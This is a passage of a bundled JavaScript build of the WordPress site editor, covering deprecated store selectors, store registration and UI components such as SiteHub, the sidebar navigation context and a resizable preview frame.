7524function getEditedPostContext(state) {
7525 external_wp_deprecated_default()("select( 'core/edit-site' ).getEditedPostContext", {
7526 since: "6.8"
7527 });
7528 return state.editedPost.context;
7529}
7530function getPage(state) {
7531 external_wp_deprecated_default()("select( 'core/edit-site' ).getPage", {
7532 since: "6.8"
7533 });
7534 return { context: state.editedPost.context };
7535}
7536const isInserterOpened = (0,external_wp_data_.createRegistrySelector)((select) => () => {
7537 external_wp_deprecated_default()(`select( 'core/edit-site' ).isInserterOpened`, {
7538 since: "6.5",
7539 alternative: `select( 'core/editor' ).isInserterOpened`
7540 });
7541 return select(external_wp_editor_namespaceObject.store).isInserterOpened();
7542});
7543const __experimentalGetInsertionPoint = (0,external_wp_data_.createRegistrySelector)(
7544 (select) => () => {
7545 external_wp_deprecated_default()(
7546 `select( 'core/edit-site' ).__experimentalGetInsertionPoint`,
7547 {
7548 since: "6.5",
7549 version: "6.7"
7550 }
7551 );
7552 return unlock(select(external_wp_editor_namespaceObject.store)).getInserter();
7553 }
7554);
7555const isListViewOpened = (0,external_wp_data_.createRegistrySelector)((select) => () => {
7556 external_wp_deprecated_default()(`select( 'core/edit-site' ).isListViewOpened`, {
7557 since: "6.5",
7558 alternative: `select( 'core/editor' ).isListViewOpened`
7559 });
7560 return select(external_wp_editor_namespaceObject.store).isListViewOpened();
7561});
7562function isSaveViewOpened(state) {
7563 return state.saveViewPanel;
7564}
7565function getBlocksAndTemplateParts(select) {
7566 const templateParts = select(external_wp_coreData_namespaceObject.store).getEntityRecords(
7567 "postType",
7568 TEMPLATE_PART_POST_TYPE,
7569 { per_page: -1 }
7570 );
7571 const { getBlocksByName, getBlocksByClientId } = select(external_wp_blockEditor_namespaceObject.store);
7572 const clientIds = getBlocksByName("core/template-part");
7573 const blocks = getBlocksByClientId(clientIds);
7574 return [blocks, templateParts];
7575}
7576const getCurrentTemplateTemplateParts = (0,external_wp_data_.createRegistrySelector)(
7577 (select) => (0,external_wp_data_.createSelector)(
7578 () => {
7579 external_wp_deprecated_default()(
7580 `select( 'core/edit-site' ).getCurrentTemplateTemplateParts()`,
7581 {
7582 since: "6.7",
7583 version: "6.9",
7584 alternative: `select( 'core/block-editor' ).getBlocksByName( 'core/template-part' )`
7585 }
7586 );
7587 return getFilteredTemplatePartBlocks(
7588 ...getBlocksAndTemplateParts(select)
7589 );
7590 },
7591 () => getBlocksAndTemplateParts(select)
7592 )
7593);
7594const getEditorMode = (0,external_wp_data_.createRegistrySelector)((select) => () => {
7595 return select(external_wp_preferences_.store).get("core", "editorMode");
7596});
7597function getCurrentTemplateNavigationPanelSubMenu() {
7598 external_wp_deprecated_default()(
7599 "dispatch( 'core/edit-site' ).getCurrentTemplateNavigationPanelSubMenu",
7600 {
7601 since: "6.2",
7602 version: "6.4"
7603 }
7604 );
7605}
7606function getNavigationPanelActiveMenu() {
7607 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).getNavigationPanelActiveMenu", {
7608 since: "6.2",
7609 version: "6.4"
7610 });
7611}
7612function isNavigationOpened() {
7613 external_wp_deprecated_default()("dispatch( 'core/edit-site' ).isNavigationOpened", {
7614 since: "6.2",
7615 version: "6.4"
7616 });
7617}
7618function isPage(state) {
7619 external_wp_deprecated_default()("select( 'core/edit-site' ).isPage", {
7620 since: "6.8",
7621 alternative: "select( 'core/editor' ).getCurrentPostType"
7622 });
7623 return !!state.editedPost.context?.postId;
7624}
7625function hasPageContentFocus() {
7626 external_wp_deprecated_default()(`select( 'core/edit-site' ).hasPageContentFocus`, {
7627 since: "6.5"
7628 });
7629 return false;
7630}
7631
7632
7633;// ./node_modules/@wordpress/edit-site/build-module/store/private-selectors.js
7634function getEditorCanvasContainerView(state) {
7635 return state.editorCanvasContainerView;
7636}
7637function getRoutes(state) {
7638 return state.routes;
7639}
7640
7641
7642;// ./node_modules/@wordpress/edit-site/build-module/store/constants.js
7643const STORE_NAME = "core/edit-site";
7644
7645
7646;// ./node_modules/@wordpress/edit-site/build-module/store/index.js
7647
7648
7649
7650
7651
7652
7653
7654
7655const storeConfig = {
7656 reducer: reducer_default,
7657 actions: actions_namespaceObject,
7658 selectors: selectors_namespaceObject
7659};
7660const store = (0,external_wp_data_.createReduxStore)(STORE_NAME, storeConfig);
7661(0,external_wp_data_.register)(store);
7662unlock(store).registerPrivateSelectors(private_selectors_namespaceObject);
7663unlock(store).registerPrivateActions(private_actions_namespaceObject);
7664
7665
7666;// external ["wp","router"]
7667const external_wp_router_namespaceObject = window["wp"]["router"];
7668;// ./node_modules/clsx/dist/clsx.mjs
7669function clsx_r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=clsx_r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=clsx_r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
7670;// ./node_modules/@wordpress/admin-ui/build-module/navigable-region/index.js
7671
7672
7673
7674const NavigableRegion = (0,external_wp_element_.forwardRef)(
7675 ({ children, className, ariaLabel, as: Tag = "div", ...props }, ref) => {
7676 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7677 Tag,
7678 {
7679 ref,
7680 className: dist_clsx("admin-ui-navigable-region", className),
7681 "aria-label": ariaLabel,
7682 role: "region",
7683 tabIndex: "-1",
7684 ...props,
7685 children
7686 }
7687 );
7688 }
7689);
7690NavigableRegion.displayName = "NavigableRegion";
7691var navigable_region_default = NavigableRegion;
7692
7693
7694;// external ["wp","plugins"]
7695const external_wp_plugins_namespaceObject = window["wp"]["plugins"];
7696;// external ["wp","htmlEntities"]
7697const external_wp_htmlEntities_namespaceObject = window["wp"]["htmlEntities"];
7698;// external ["wp","primitives"]
7699const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
7700;// ./node_modules/@wordpress/icons/build-module/library/search.js
7701
7702
7703var search_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) });
7704
7705
7706;// external ["wp","commands"]
7707const external_wp_commands_namespaceObject = window["wp"]["commands"];
7708;// external ["wp","keycodes"]
7709const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
7710;// external ["wp","url"]
7711const external_wp_url_namespaceObject = window["wp"]["url"];
7712;// ./node_modules/@wordpress/icons/build-module/library/wordpress.js
7713
7714
7715var wordpress_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "-2 -2 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z" }) });
7716
7717
7718;// ./node_modules/@wordpress/edit-site/build-module/components/site-icon/index.js
7719
7720
7721
7722
7723
7724
7725
7726function SiteIcon({ className }) {
7727 const { isRequestingSite, siteIconUrl } = (0,external_wp_data_.useSelect)((select) => {
7728 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
7729 const siteData = getEntityRecord("root", "__unstableBase", void 0);
7730 return {
7731 isRequestingSite: !siteData,
7732 siteIconUrl: siteData?.site_icon_url
7733 };
7734 }, []);
7735 if (isRequestingSite && !siteIconUrl) {
7736 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-site-icon__image" });
7737 }
7738 const icon = siteIconUrl ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7739 "img",
7740 {
7741 className: "edit-site-site-icon__image",
7742 alt: (0,external_wp_i18n_namespaceObject.__)("Site Icon"),
7743 src: siteIconUrl
7744 }
7745 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7746 external_wp_components_namespaceObject.Icon,
7747 {
7748 className: "edit-site-site-icon__icon",
7749 icon: wordpress_default,
7750 size: 48
7751 }
7752 );
7753 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: dist_clsx(className, "edit-site-site-icon"), children: icon });
7754}
7755var site_icon_default = SiteIcon;
7756
7757
7758;// external ["wp","dom"]
7759const external_wp_dom_namespaceObject = window["wp"]["dom"];
7760;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar/index.js
7761
7762
7763
7764
7765const SidebarNavigationContext = (0,external_wp_element_.createContext)(() => {
7766});
7767SidebarNavigationContext.displayName = "SidebarNavigationContext";
7768function focusSidebarElement(el, direction, focusSelector) {
7769 let elementToFocus;
7770 if (direction === "back" && focusSelector) {
7771 elementToFocus = el.querySelector(focusSelector);
7772 }
7773 if (direction !== null && !elementToFocus) {
7774 const [firstTabbable] = external_wp_dom_namespaceObject.focus.tabbable.find(el);
7775 elementToFocus = firstTabbable ?? el;
7776 }
7777 elementToFocus?.focus();
7778}
7779function createNavState() {
7780 let state = {
7781 direction: null,
7782 focusSelector: null
7783 };
7784 return {
7785 get() {
7786 return state;
7787 },
7788 navigate(direction, focusSelector = null) {
7789 state = {
7790 direction,
7791 focusSelector: direction === "forward" && focusSelector ? focusSelector : state.focusSelector
7792 };
7793 }
7794 };
7795}
7796function SidebarContentWrapper({ children, shouldAnimate }) {
7797 const navState = (0,external_wp_element_.useContext)(SidebarNavigationContext);
7798 const wrapperRef = (0,external_wp_element_.useRef)();
7799 const [navAnimation, setNavAnimation] = (0,external_wp_element_.useState)(null);
7800 (0,external_wp_element_.useLayoutEffect)(() => {
7801 const { direction, focusSelector } = navState.get();
7802 focusSidebarElement(wrapperRef.current, direction, focusSelector);
7803 setNavAnimation(direction);
7804 }, [navState]);
7805 const wrapperCls = dist_clsx(
7806 "edit-site-sidebar__screen-wrapper",
7807 /*
7808 * Some panes do not have sub-panes and therefore
7809 * should not animate when clicked on.
7810 */
7811 shouldAnimate ? {
7812 "slide-from-left": navAnimation === "back",
7813 "slide-from-right": navAnimation === "forward"
7814 } : {}
7815 );
7816 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ref: wrapperRef, className: wrapperCls, children });
7817}
7818function SidebarNavigationProvider({ children }) {
7819 const [navState] = (0,external_wp_element_.useState)(createNavState);
7820 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationContext.Provider, { value: navState, children });
7821}
7822function SidebarContent({ routeKey, shouldAnimate, children }) {
7823 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-sidebar__content", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7824 SidebarContentWrapper,
7825 {
7826 shouldAnimate,
7827 children
7828 },
7829 routeKey
7830 ) });
7831}
7832
7833
7834;// ./node_modules/@wordpress/edit-site/build-module/components/site-hub/index.js
7835
7836
7837
7838
7839
7840
7841
7842
7843
7844
7845
7846
7847
7848
7849
7850
7851
7852const { useLocation, useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
7853const SiteHub = (0,external_wp_element_.memo)(
7854 (0,external_wp_element_.forwardRef)(({ isTransparent }, ref) => {
7855 const { dashboardLink, homeUrl, siteTitle } = (0,external_wp_data_.useSelect)((select) => {
7856 const { getSettings } = unlock(select(store));
7857 const { getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
7858 const _site = getEntityRecord("root", "site");
7859 return {
7860 dashboardLink: getSettings().__experimentalDashboardLink,
7861 homeUrl: getEntityRecord("root", "__unstableBase")?.home,
7862 siteTitle: !_site?.title && !!_site?.url ? (0,external_wp_url_namespaceObject.filterURLForDisplay)(_site?.url) : _site?.title
7863 };
7864 }, []);
7865 const { open: openCommandCenter } = (0,external_wp_data_.useDispatch)(external_wp_commands_namespaceObject.store);
7866 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-site-hub", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", spacing: "0", children: [
7867 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7868 "div",
7869 {
7870 className: dist_clsx(
7871 "edit-site-site-hub__view-mode-toggle-container",
7872 {
7873 "has-transparent-background": isTransparent
7874 }
7875 ),
7876 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7877 external_wp_components_namespaceObject.Button,
7878 {
7879 __next40pxDefaultSize: true,
7880 ref,
7881 href: dashboardLink,
7882 label: (0,external_wp_i18n_namespaceObject.__)("Go to the Dashboard"),
7883 className: "edit-site-layout__view-mode-toggle",
7884 style: {
7885 transform: "scale(0.5333) translateX(-4px)",
7886 // Offset to position the icon 12px from viewport edge
7887 borderRadius: 4
7888 },
7889 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon_default, { className: "edit-site-layout__view-mode-toggle-icon" })
7890 }
7891 )
7892 }
7893 ),
7894 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
7895 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-site-hub__title", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
7896 external_wp_components_namespaceObject.Button,
7897 {
7898 __next40pxDefaultSize: true,
7899 variant: "link",
7900 href: homeUrl,
7901 target: "_blank",
7902 children: [
7903 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle),
7904 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
7905 as: "span",
7906 /* translators: accessibility text */
7907 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
7908 })
7909 ]
7910 }
7911 ) }),
7912 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7913 external_wp_components_namespaceObject.__experimentalHStack,
7914 {
7915 spacing: 0,
7916 expanded: false,
7917 className: "edit-site-site-hub__actions",
7918 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7919 external_wp_components_namespaceObject.Button,
7920 {
7921 size: "compact",
7922 className: "edit-site-site-hub_toggle-command-center",
7923 icon: search_default,
7924 onClick: () => openCommandCenter(),
7925 label: (0,external_wp_i18n_namespaceObject.__)("Open command palette"),
7926 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("k")
7927 }
7928 )
7929 }
7930 )
7931 ] })
7932 ] }) });
7933 })
7934);
7935var site_hub_default = SiteHub;
7936const SiteHubMobile = (0,external_wp_element_.memo)(
7937 (0,external_wp_element_.forwardRef)(({ isTransparent }, ref) => {
7938 const { path } = useLocation();
7939 const history = useHistory();
7940 const { navigate } = (0,external_wp_element_.useContext)(SidebarNavigationContext);
7941 const {
7942 dashboardLink,
7943 homeUrl,
7944 siteTitle,
7945 isBlockTheme,
7946 isClassicThemeWithStyleBookSupport
7947 } = (0,external_wp_data_.useSelect)((select) => {
7948 const { getSettings } = unlock(select(store));
7949 const { getEntityRecord, getCurrentTheme } = select(external_wp_coreData_namespaceObject.store);
7950 const _site = getEntityRecord("root", "site");
7951 const currentTheme = getCurrentTheme();
7952 const settings = getSettings();
7953 const supportsEditorStyles = currentTheme.theme_supports["editor-styles"];
7954 const hasThemeJson = settings.supportsLayout;
7955 return {
7956 dashboardLink: settings.__experimentalDashboardLink,
7957 homeUrl: getEntityRecord("root", "__unstableBase")?.home,
7958 siteTitle: !_site?.title && !!_site?.url ? (0,external_wp_url_namespaceObject.filterURLForDisplay)(_site?.url) : _site?.title,
7959 isBlockTheme: currentTheme?.is_block_theme,
7960 isClassicThemeWithStyleBookSupport: !currentTheme?.is_block_theme && (supportsEditorStyles || hasThemeJson)
7961 };
7962 }, []);
7963 const { open: openCommandCenter } = (0,external_wp_data_.useDispatch)(external_wp_commands_namespaceObject.store);
7964 let backPath;
7965 if (path !== "/") {
7966 if (isBlockTheme || isClassicThemeWithStyleBookSupport) {
7967 backPath = "/";
7968 } else if (path !== "/pattern") {
7969 backPath = "/pattern";
7970 }
7971 }
7972 const backButtonProps = {
7973 href: !!backPath ? void 0 : dashboardLink,
7974 label: !!backPath ? (0,external_wp_i18n_namespaceObject.__)("Go to Site Editor") : (0,external_wp_i18n_namespaceObject.__)("Go to the Dashboard"),
7975 onClick: !!backPath ? () => {
7976 history.navigate(backPath);
7977 navigate("back");
7978 } : void 0
7979 };
7980 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-site-hub", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", spacing: "0", children: [
7981 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7982 "div",
7983 {
7984 className: dist_clsx(
7985 "edit-site-site-hub__view-mode-toggle-container",
7986 {
7987 "has-transparent-background": isTransparent
7988 }
7989 ),
7990 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7991 external_wp_components_namespaceObject.Button,
7992 {
7993 __next40pxDefaultSize: true,
7994 ref,
7995 className: "edit-site-layout__view-mode-toggle",
7996 style: {
7997 transform: "scale(0.5)",
7998 borderRadius: 4
7999 },
8000 ...backButtonProps,
8001 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(site_icon_default, { className: "edit-site-layout__view-mode-toggle-icon" })
8002 }
8003 )
8004 }
8005 ),
8006 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { children: [
8007 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-site-hub__title", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8008 external_wp_components_namespaceObject.Button,
8009 {
8010 __next40pxDefaultSize: true,
8011 variant: "link",
8012 href: homeUrl,
8013 target: "_blank",
8014 label: (0,external_wp_i18n_namespaceObject.__)("View site (opens in a new tab)"),
8015 children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle)
8016 }
8017 ) }),
8018 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8019 external_wp_components_namespaceObject.__experimentalHStack,
8020 {
8021 spacing: 0,
8022 expanded: false,
8023 className: "edit-site-site-hub__actions",
8024 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8025 external_wp_components_namespaceObject.Button,
8026 {
8027 __next40pxDefaultSize: true,
8028 className: "edit-site-site-hub_toggle-command-center",
8029 icon: search_default,
8030 onClick: () => openCommandCenter(),
8031 label: (0,external_wp_i18n_namespaceObject.__)("Open command palette"),
8032 shortcut: external_wp_keycodes_namespaceObject.displayShortcut.primary("k")
8033 }
8034 )
8035 }
8036 )
8037 ] })
8038 ] }) });
8039 })
8040);
8041
8042
8043;// ./node_modules/@wordpress/edit-site/build-module/components/resizable-frame/index.js
8044
8045
8046
8047
8048
8049
8050
8051
8052
8053
8054
8055const { useLocation: resizable_frame_useLocation, useHistory: resizable_frame_useHistory } = unlock(external_wp_router_namespaceObject.privateApis);
8056const HANDLE_STYLES_OVERRIDE = {
8057 position: void 0,
8058 userSelect: void 0,
8059 cursor: void 0,
8060 width: void 0,
8061 height: void 0,
8062 top: void 0,
8063 right: void 0,
8064 bottom: void 0,
8065 left: void 0
8066};
8067const FRAME_MIN_WIDTH = 320;
8068const FRAME_REFERENCE_WIDTH = 1300;
8069const FRAME_TARGET_ASPECT_RATIO = 9 / 19.5;
8070const SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD = 200;
8071const INITIAL_FRAME_SIZE = { width: "100%", height: "100%" };
8072function calculateNewHeight(width, initialAspectRatio) {
8073 const lerp = (a, b, amount) => {
8074 return a + (b - a) * amount;
8075 };
8076 const lerpFactor = 1 - Math.max(
8077 0,
8078 Math.min(
8079 1,
8080 (width - FRAME_MIN_WIDTH) / (FRAME_REFERENCE_WIDTH - FRAME_MIN_WIDTH)
8081 )
8082 );
8083 const intermediateAspectRatio = lerp(
8084 initialAspectRatio,
8085 FRAME_TARGET_ASPECT_RATIO,
8086 lerpFactor
8087 );
8088 return width / intermediateAspectRatio;
8089}
8090function ResizableFrame({
8091 isFullWidth,
8092 isOversized,
8093 setIsOversized,
8094 isReady,
8095 children,
8096 /** The default (unresized) width/height of the frame, based on the space available in the viewport. */
8097 defaultSize,
8098 innerContentStyle
8099}) {
8100 const history = resizable_frame_useHistory();
8101 const { path, query } = resizable_frame_useLocation();
8102 const { canvas = "view" } = query;
8103 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
8104 const [frameSize, setFrameSize] = (0,external_wp_element_.useState)(INITIAL_FRAME_SIZE);
8105 const [startingWidth, setStartingWidth] = (0,external_wp_element_.useState)();
8106 const [isResizing, setIsResizing] = (0,external_wp_element_.useState)(false);
8107 const [shouldShowHandle, setShouldShowHandle] = (0,external_wp_element_.useState)(false);
8108 const [resizeRatio, setResizeRatio] = (0,external_wp_element_.useState)(1);
8109 const FRAME_TRANSITION = { type: "tween", duration: isResizing ? 0 : 0.5 };
8110 const frameRef = (0,external_wp_element_.useRef)(null);
8111 const resizableHandleHelpId = (0,external_wp_compose_namespaceObject.useInstanceId)(
8112 ResizableFrame,
8113 "edit-site-resizable-frame-handle-help"
8114 );
8115 const defaultAspectRatio = defaultSize.width / defaultSize.height;
8116 const isBlockTheme = (0,external_wp_data_.useSelect)((select) => {
8117 const { getCurrentTheme } = select(external_wp_coreData_namespaceObject.store);
8118 return getCurrentTheme()?.is_block_theme;
8119 }, []);
8120 const handleResizeStart = (_event, _direction, ref) => {
8121 setStartingWidth(ref.offsetWidth);
8122 setIsResizing(true);
8123 };
8124 const handleResize = (_event, _direction, _ref, delta) => {
8125 const normalizedDelta = delta.width / resizeRatio;
8126 const deltaAbs = Math.abs(normalizedDelta);
8127 const maxDoubledDelta = delta.width < 0 ? deltaAbs : (defaultSize.width - startingWidth) / 2;
8128 const deltaToDouble = Math.min(deltaAbs, maxDoubledDelta);
8129 const doubleSegment = deltaAbs === 0 ? 0 : deltaToDouble / deltaAbs;
8130 const singleSegment = 1 - doubleSegment;
8131 setResizeRatio(singleSegment + doubleSegment * 2);
8132 const updatedWidth = startingWidth + delta.width;
8133 setIsOversized(updatedWidth > defaultSize.width);
8134 setFrameSize({
8135 height: isOversized ? "100%" : calculateNewHeight(updatedWidth, defaultAspectRatio)
8136 });
8137 };
8138 const handleResizeStop = (_event, _direction, ref) => {
8139 setIsResizing(false);
8140 if (!isOversized) {
8141 return;
8142 }
8143 setIsOversized(false);
8144 const remainingWidth = ref.ownerDocument.documentElement.offsetWidth - ref.offsetWidth;
8145 if (remainingWidth > SNAP_TO_EDIT_CANVAS_MODE_THRESHOLD || !isBlockTheme) {
8146 setFrameSize(INITIAL_FRAME_SIZE);
8147 } else {
8148 history.navigate(
8149 (0,external_wp_url_namespaceObject.addQueryArgs)(path, {
8150 canvas: "edit"
8151 }),
8152 {
8153 transition: "canvas-mode-edit-transition"
8154 }
8155 );
8156 }
8157 };
8158 const handleResizableHandleKeyDown = (event) => {
8159 if (!["ArrowLeft", "ArrowRight"].includes(event.key)) {
8160 return;
8161 }
8162 event.preventDefault();
8163 const step = 20 * (event.shiftKey ? 5 : 1);
8164 const delta = step * (event.key === "ArrowLeft" ? 1 : -1) * ((0,external_wp_i18n_namespaceObject.isRTL)() ? -1 : 1);
8165 const newWidth = Math.min(
8166 Math.max(
8167 FRAME_MIN_WIDTH,
8168 frameRef.current.resizable.offsetWidth + delta
8169 ),
8170 defaultSize.width
8171 );
8172 setFrameSize({
8173 width: newWidth,
8174 height: calculateNewHeight(newWidth, defaultAspectRatio)
8175 });
8176 };
8177 const frameAnimationVariants = {
8178 default: {
8179 flexGrow: 0,
8180 height: frameSize.height
8181 },
8182 fullWidth: {
8183 flexGrow: 1,
8184 height: frameSize.height
8185 }
8186 };
8187 const resizeHandleVariants = {
8188 hidden: {
8189 opacity: 0,
8190 ...(0,external_wp_i18n_namespaceObject.isRTL)() ? { right: 0 } : { left: 0 }
8191 },
8192 visible: {
8193 opacity: 1,
8194 // Account for the handle's width.
8195 ...(0,external_wp_i18n_namespaceObject.isRTL)() ? { right: -14 } : { left: -14 }
8196 },
8197 active: {
8198 opacity: 1,
8199 // Account for the handle's width.
8200 ...(0,external_wp_i18n_namespaceObject.isRTL)() ? { right: -14 } : { left: -14 },
8201 scaleY: 1.3
8202 }
8203 };
8204 const currentResizeHandleVariant = (() => {
8205 if (isResizing) {
8206 return "active";
8207 }
8208 return shouldShowHandle ? "visible" : "hidden";
8209 })();
8210 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8211 external_wp_components_namespaceObject.ResizableBox,
8212 {
8213 as: external_wp_components_namespaceObject.__unstableMotion.div,
8214 ref: frameRef,
8215 initial: false,
8216 variants: frameAnimationVariants,
8217 animate: isFullWidth ? "fullWidth" : "default",
8218 onAnimationComplete: (definition) => {
8219 if (definition === "fullWidth") {
8220 setFrameSize({ width: "100%", height: "100%" });
8221 }
8222 },
8223 whileHover: canvas === "view" && isBlockTheme ? {
8224 scale: 1.005,
8225 transition: {
8226 duration: disableMotion ? 0 : 0.5,
8227 ease: "easeOut"
8228 }
8229 } : {},
8230 transition: FRAME_TRANSITION,
8231 size: frameSize,
8232 enable: {
8233 top: false,
8234 bottom: false,
8235 // Resizing will be disabled until the editor content is loaded.
8236 ...(0,external_wp_i18n_namespaceObject.isRTL)() ? { right: isReady, left: false } : { left: isReady, right: false },
8237 topRight: false,
8238 bottomRight: false,
8239 bottomLeft: false,
8240 topLeft: false
8241 },
8242 resizeRatio,
8243 handleClasses: void 0,
8244 handleStyles: {
8245 left: HANDLE_STYLES_OVERRIDE,
8246 right: HANDLE_STYLES_OVERRIDE
8247 },
8248 minWidth: FRAME_MIN_WIDTH,
8249 maxWidth: isFullWidth ? "100%" : "150%",
8250 maxHeight: "100%",
8251 onFocus: () => setShouldShowHandle(true),
8252 onBlur: () => setShouldShowHandle(false),
8253 onMouseOver: () => setShouldShowHandle(true),
8254 onMouseOut: () => setShouldShowHandle(false),
8255 handleComponent: {
8256 [(0,external_wp_i18n_namespaceObject.isRTL)() ? "right" : "left"]: canvas === "view" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
8257 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: (0,external_wp_i18n_namespaceObject.__)("Drag to resize"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8258 external_wp_components_namespaceObject.__unstableMotion.button,
8259 {
8260 role: "separator",
8261 "aria-orientation": "vertical",
8262 className: dist_clsx(
8263 "edit-site-resizable-frame__handle",
8264 { "is-resizing": isResizing }
8265 ),
8266 variants: resizeHandleVariants,
8267 animate: currentResizeHandleVariant,
8268 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Drag to resize"),
8269 "aria-describedby": resizableHandleHelpId,
8270 "aria-valuenow": frameRef.current?.resizable?.offsetWidth || void 0,
8271 "aria-valuemin": FRAME_MIN_WIDTH,
8272 "aria-valuemax": defaultSize.width,
8273 onKeyDown: handleResizableHandleKeyDown,
8274 initial: "hidden",
8275 exit: "hidden",
8276 whileFocus: "active",
8277 whileHover: "active"
8278 },
8279 "handle"
8280 ) }),
